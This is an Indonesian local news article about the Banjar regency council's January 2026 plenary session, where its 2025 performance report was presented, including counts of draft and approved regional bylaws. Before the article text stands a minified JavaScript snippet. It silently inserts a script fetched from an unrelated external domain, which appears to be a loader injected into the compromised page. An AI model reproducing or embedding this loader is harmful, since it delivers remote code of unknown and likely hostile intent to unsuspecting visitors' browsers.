(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Rapat Paripurna dengan agenda Penyampaian Laporan Kinerja DPRD Kabupaten Banjar Tahun 2025, digelar Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Banjar di Ruang Paripurna Lantai II DPRD Banjar, Martapura, Rabu (21/1/2026) siang.
Rapat paripurna dipimpin Ketua DPRD Kabupaten Banjar H Agus Maulana, didampingi unsur pimpinan DPRD lainnya.
Kegiatan tersebut turut dihadiri Sekretaris Daerah Kabupaten Banjar H Yudi Andrea, jajaran unsur eksekutif, serta Forkopimda.
Baca juga: 12 Jawaban Bupati HSU di DPRD Terkait Raperda Perubahan Pajak dan Retribusi Daerah
Penyampaian laporan kinerja DPRD Tahun 2025 dibacakan Wakil Ketua I DPRD Banjar Irwan Bora yang menyatakan bahwa seiring berakhirnya tahun kegiatan DPRD 2025, pimpinan DPRD memiliki tugas dan wewenang sebagaimana diatur dalam Peraturan Pemerintah Nomor 12 Tahun 2018 Pasal 33.
Salah satunya menyusun rencana kerja DPRD serta menyampaikan laporan kinerja melalui rapat paripurna.
“Laporan kinerja DPRD Tahun 2025 mencakup pelaksanaan tiga fungsi utama DPRD, yaitu fungsi legislasi, anggaran, dan pengawasan,” jelas Irwan Bora.
Baca juga: Ketua OJK: Pengaduan Scam Tak Boleh Berbelit
Ia merinci, sepanjang tahun 2025, pelaksanaan fungsi legislasi DPRD diwujudkan melalui pembentukan peraturan daerah bersama bupati Banjar pada masa sidang tahun berjalan.
Total terdapat 20 Rancangan Peraturan Daerah (Raperda) yang dibahas, terdiri dari 3 Raperda inisiatif DPRD dan 16 Raperda usulan eksekutif yang masuk dalam Program Pembentukan Peraturan Daerah (Propemperda), serta 1 Raperda usulan eksekutif di luar Propemperda yang juga harus diselesaikan pada tahun yang sama.
“Dari keseluruhan Raperda tersebut, sebanyak 13 Raperda telah disetujui bersama untuk ditetapkan menjadi Peraturan Daerah,” ungkap dia.
Baca juga: Komite Ekonomi Kreatif Kota Banjarbaru Dilantik, Ini Pesan Wali Kota Lisa Halaby
Adapun Raperda yang telah disahkan mencakup berbagai bidang strategis, di antaranya ketertiban umum, kota layak anak, pemakaman, serta penyertaan modal kepada sejumlah Badan Usaha Milik Daerah (BUMD) di wilayah Kabupaten Banjar. Usulan Raperda berasal baik dari DPRD maupun dari Bupati Banjar.
Beberapa Raperda usulan Bupati Banjar yang dibahas antara lain Pertanggungjawaban Pelaksanaan APBD Tahun Anggaran 2024, Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Kabupaten Banjar Tahun 2025–2029, Perubahan APBD Tahun Anggaran 2025, serta APBD Tahun Anggaran 2026.
Irwan juga menyampaikan bahwa terhadap Raperda yang belum terselesaikan hingga akhir Tahun 2025, DPRD Kabupaten Banjar berkomitmen untuk menuntaskan pembahasannya pada Tahun 2026.
Selain itu, laporan kinerja juga menyoroti kegiatan kelembagaan DPRD, khususnya pelaksanaan reses yang merupakan kewajiban anggota dewan untuk menjaring, menjemput dan menindaklanjuti aspirasi masyarakat di daerah pemilihan masing-masing.
Kegiatan reses tersebut menjadi bagian dari bentuk pertanggungjawaban moral dan politik DPRD kepada konstituen. (kanalkalimantan.com/dkispbanjar)
Editor: Dhani
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus mendorong pemerataan pembangunan ke wilayah perdesaan. Pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komitmen menjadikan ekonomi kreatif sebagai tulang punggung pertumbuhan daerah ditandai dengan pelantikan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) terus berupaya mengoptimalkan Pendapatan Asli… Read More
This website uses cookies.